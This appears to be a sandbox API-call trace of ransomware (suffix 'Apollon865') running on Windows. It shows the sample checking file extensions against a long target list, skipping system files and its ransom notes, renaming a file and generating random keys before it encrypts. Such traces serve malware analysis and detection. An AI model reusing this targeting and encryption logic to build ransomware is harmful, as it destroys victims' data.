	[0053.091] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.091] lstrlenW (lpString="$er") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.091] lstrlenW (lpString="4dd") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.092] lstrlenW (lpString="4dl") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.092] lstrlenW (lpString="^^^") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.092] lstrlenW (lpString="abs") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.092] lstrlenW (lpString="abx") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.092] lstrlenW (lpString="accdb") returned 5
	[0053.092] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1
	[0053.092] lstrlenW (lpString="accdc") returned 5
	[0053.092] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1
	[0053.092] lstrlenW (lpString="accde") returned 5
	[0053.092] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1
	[0053.092] lstrlenW (lpString="accdr") returned 5
	[0053.092] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1
	[0053.092] lstrlenW (lpString="accdt") returned 5
	[0053.092] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1
	[0053.092] lstrlenW (lpString="accdw") returned 5
	[0053.092] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1
	[0053.092] lstrlenW (lpString="accft") returned 5
	[0053.092] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1
	[0053.092] lstrlenW (lpString="adb") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.092] lstrlenW (lpString="adb") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.092] lstrlenW (lpString="ade") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.092] lstrlenW (lpString="adf") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.092] lstrlenW (lpString="adn") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.092] lstrlenW (lpString="adp") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.092] lstrlenW (lpString="alf") returned 3
	[0053.092] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.093] lstrlenW (lpString="ask") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.093] lstrlenW (lpString="btr") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.093] lstrlenW (lpString="cat") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.093] lstrlenW (lpString="cdb") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.093] lstrlenW (lpString="ckp") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.093] lstrlenW (lpString="cma") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.093] lstrlenW (lpString="cpd") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.093] lstrlenW (lpString="dacpac") returned 6
	[0053.093] lstrcmpiW (lpString1="ve.url", lpString2="dacpac") returned 1
	[0053.093] lstrlenW (lpString="dad") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.093] lstrlenW (lpString="dadiagrams") returned 10
	[0053.093] lstrcmpiW (lpString1="s Live.url", lpString2="dadiagrams") returned 1
	[0053.093] lstrlenW (lpString="daschema") returned 8
	[0053.093] lstrcmpiW (lpString1="Live.url", lpString2="daschema") returned 1
	[0053.093] lstrlenW (lpString="db-journal") returned 10
	[0053.093] lstrcmpiW (lpString1="s Live.url", lpString2="db-journal") returned 1
	[0053.093] lstrlenW (lpString="db-shm") returned 6
	[0053.093] lstrcmpiW (lpString1="ve.url", lpString2="db-shm") returned 1
	[0053.093] lstrlenW (lpString="db-wal") returned 6
	[0053.093] lstrcmpiW (lpString1="ve.url", lpString2="db-wal") returned 1
	[0053.093] lstrlenW (lpString="dbc") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.093] lstrlenW (lpString="dbs") returned 3
	[0053.093] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.093] lstrlenW (lpString="dbt") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.094] lstrlenW (lpString="dbv") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.094] lstrlenW (lpString="dbx") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.094] lstrlenW (lpString="dcb") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.094] lstrlenW (lpString="dct") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.094] lstrlenW (lpString="dcx") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.094] lstrlenW (lpString="ddl") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.094] lstrlenW (lpString="dlis") returned 4
	[0053.094] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.094] lstrlenW (lpString="dp1") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.094] lstrlenW (lpString="dqy") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.094] lstrlenW (lpString="dsk") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.094] lstrlenW (lpString="dsn") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.094] lstrlenW (lpString="dtsx") returned 4
	[0053.094] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.094] lstrlenW (lpString="dxl") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.094] lstrlenW (lpString="eco") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.094] lstrlenW (lpString="ecx") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.094] lstrlenW (lpString="edb") returned 3
	[0053.094] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.094] lstrlenW (lpString="epim") returned 4
	[0053.094] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.095] lstrlenW (lpString="fcd") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.095] lstrlenW (lpString="fdb") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.095] lstrlenW (lpString="fic") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.095] lstrlenW (lpString="flexolibrary") returned 12
	[0053.095] lstrcmpiW (lpString1="ows Live.url", lpString2="flexolibrary") returned 1
	[0053.095] lstrlenW (lpString="fm5") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.095] lstrlenW (lpString="fmp") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.095] lstrlenW (lpString="fmp12") returned 5
	[0053.095] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1
	[0053.095] lstrlenW (lpString="fmpsl") returned 5
	[0053.095] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1
	[0053.095] lstrlenW (lpString="fol") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.095] lstrlenW (lpString="fp3") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.095] lstrlenW (lpString="fp4") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.095] lstrlenW (lpString="fp5") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.095] lstrlenW (lpString="fp7") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.095] lstrlenW (lpString="fpt") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.095] lstrlenW (lpString="frm") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.095] lstrlenW (lpString="gdb") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.095] lstrlenW (lpString="gdb") returned 3
	[0053.095] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.095] lstrlenW (lpString="grdb") returned 4
	[0053.095] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.096] lstrlenW (lpString="gwi") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.096] lstrlenW (lpString="hdb") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.096] lstrlenW (lpString="his") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.096] lstrlenW (lpString="ib") returned 2
	[0053.096] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.096] lstrlenW (lpString="idb") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.096] lstrlenW (lpString="ihx") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.096] lstrlenW (lpString="itdb") returned 4
	[0053.096] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.096] lstrlenW (lpString="itw") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.096] lstrlenW (lpString="jet") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.096] lstrlenW (lpString="jtx") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.096] lstrlenW (lpString="kdb") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.096] lstrlenW (lpString="kexi") returned 4
	[0053.096] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.096] lstrlenW (lpString="kexic") returned 5
	[0053.096] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1
	[0053.096] lstrlenW (lpString="kexis") returned 5
	[0053.096] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1
	[0053.096] lstrlenW (lpString="lgc") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.096] lstrlenW (lpString="lwx") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.096] lstrlenW (lpString="maf") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.096] lstrlenW (lpString="maq") returned 3
	[0053.096] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.097] lstrlenW (lpString="mar") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.097] lstrlenW (lpString="marshal") returned 7
	[0053.097] lstrcmpiW (lpString1="ive.url", lpString2="marshal") returned -1
	[0053.097] lstrlenW (lpString="mas") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.097] lstrlenW (lpString="mav") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.097] lstrlenW (lpString="maw") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.097] lstrlenW (lpString="mdbhtml") returned 7
	[0053.097] lstrcmpiW (lpString1="ive.url", lpString2="mdbhtml") returned -1
	[0053.097] lstrlenW (lpString="mdn") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.097] lstrlenW (lpString="mdt") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.097] lstrlenW (lpString="mfd") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.097] lstrlenW (lpString="mpd") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.097] lstrlenW (lpString="mrg") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.097] lstrlenW (lpString="mud") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.097] lstrlenW (lpString="mwb") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.097] lstrlenW (lpString="myd") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.097] lstrlenW (lpString="ndf") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.097] lstrlenW (lpString="nnt") returned 3
	[0053.097] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.097] lstrlenW (lpString="nrmlib") returned 6
	[0053.097] lstrcmpiW (lpString1="ve.url", lpString2="nrmlib") returned 1
	[0053.098] lstrlenW (lpString="ns2") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.098] lstrlenW (lpString="ns3") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.098] lstrlenW (lpString="ns4") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.098] lstrlenW (lpString="nsf") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.098] lstrlenW (lpString="nv") returned 2
	[0053.098] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.098] lstrlenW (lpString="nv2") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.098] lstrlenW (lpString="nwdb") returned 4
	[0053.098] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.098] lstrlenW (lpString="nyf") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.098] lstrlenW (lpString="odb") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.098] lstrlenW (lpString="odb") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.098] lstrlenW (lpString="oqy") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.098] lstrlenW (lpString="ora") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.098] lstrlenW (lpString="orx") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.098] lstrlenW (lpString="owc") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.098] lstrlenW (lpString="p96") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.098] lstrlenW (lpString="p97") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.098] lstrlenW (lpString="pan") returned 3
	[0053.098] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.098] lstrlenW (lpString="pdb") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.099] lstrlenW (lpString="pdm") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.099] lstrlenW (lpString="pnz") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.099] lstrlenW (lpString="qry") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.099] lstrlenW (lpString="qvd") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.099] lstrlenW (lpString="rbf") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.099] lstrlenW (lpString="rctd") returned 4
	[0053.099] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.099] lstrlenW (lpString="rod") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.099] lstrlenW (lpString="rodx") returned 4
	[0053.099] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.099] lstrlenW (lpString="rpd") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.099] lstrlenW (lpString="rsd") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.099] lstrlenW (lpString="sas7bdat") returned 8
	[0053.099] lstrcmpiW (lpString1="Live.url", lpString2="sas7bdat") returned -1
	[0053.099] lstrlenW (lpString="sbf") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.099] lstrlenW (lpString="scx") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.099] lstrlenW (lpString="sdb") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.099] lstrlenW (lpString="sdc") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.099] lstrlenW (lpString="sdf") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.099] lstrlenW (lpString="sis") returned 3
	[0053.099] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.099] lstrlenW (lpString="spq") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.100] lstrlenW (lpString="te") returned 2
	[0053.100] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.100] lstrlenW (lpString="teacher") returned 7
	[0053.100] lstrcmpiW (lpString1="ive.url", lpString2="teacher") returned -1
	[0053.100] lstrlenW (lpString="tmd") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.100] lstrlenW (lpString="tps") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.100] lstrlenW (lpString="trc") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.100] lstrlenW (lpString="trc") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.100] lstrlenW (lpString="trm") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.100] lstrlenW (lpString="udb") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.100] lstrlenW (lpString="udl") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.100] lstrlenW (lpString="usr") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.100] lstrlenW (lpString="v12") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.100] lstrlenW (lpString="vis") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.100] lstrlenW (lpString="vpd") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.100] lstrlenW (lpString="vvv") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.100] lstrlenW (lpString="wdb") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.100] lstrlenW (lpString="wmdb") returned 4
	[0053.100] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.100] lstrlenW (lpString="wrk") returned 3
	[0053.100] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.100] lstrlenW (lpString="xdb") returned 3
	[0053.101] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.101] lstrlenW (lpString="xld") returned 3
	[0053.101] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.101] lstrlenW (lpString="xmlff") returned 5
	[0053.101] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1
	[0053.101] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.Apollon865") returned 71
	[0053.101] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url.apollon865"), dwFlags=0x1) returned 1
	[0053.102] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.102] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.103] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.103] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.103] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.104] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x154
	[0053.109] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.109] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.110] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.110] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.111] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.111] CloseHandle (hObject=0x154) returned 1
	[0053.111] CloseHandle (hObject=0x118) returned 1
	[0053.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.113] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e18abf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e18abf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.113] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.113] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
	[0053.113] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.113] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.113] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".") returned 1
	[0053.113] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="..") returned 1
	[0053.113] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="windows") returned 1
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="bootmgr") returned 1
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="temp") returned 1
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="pagefile.sys") returned 1
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="boot") returned 1
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ids.txt") returned 1
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ntuser.dat") returned 1
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="perflogs") returned 1
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="MSBuild") returned 1
	[0053.114] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0053.114] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url") returned 60
	[0053.114] lstrcpyW (in: lpString1=0x119e658, lpString2="Windows Live Gallery.url" | out: lpString1="Windows Live Gallery.url") returned="Windows Live Gallery.url"
	[0053.114] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0053.114] lstrlenW (lpString="Apollon865") returned 10
	[0053.114] lstrcmpiW (lpString1="allery.url", lpString2="Apollon865") returned -1
	[0053.114] lstrlenW (lpString=".dll") returned 4
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".dll") returned 1
	[0053.114] lstrlenW (lpString=".lnk") returned 4
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".lnk") returned 1
	[0053.114] lstrlenW (lpString=".ini") returned 4
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".ini") returned 1
	[0053.114] lstrlenW (lpString=".sys") returned 4
	[0053.114] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".sys") returned 1
	[0053.114] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0053.114] lstrlenW (lpString="bak") returned 3
	[0053.114] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.114] lstrlenW (lpString="ba_") returned 3
	[0053.114] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.114] lstrlenW (lpString="dbb") returned 3
	[0053.114] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.114] lstrlenW (lpString="vmdk") returned 4
	[0053.114] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.114] lstrlenW (lpString="rar") returned 3
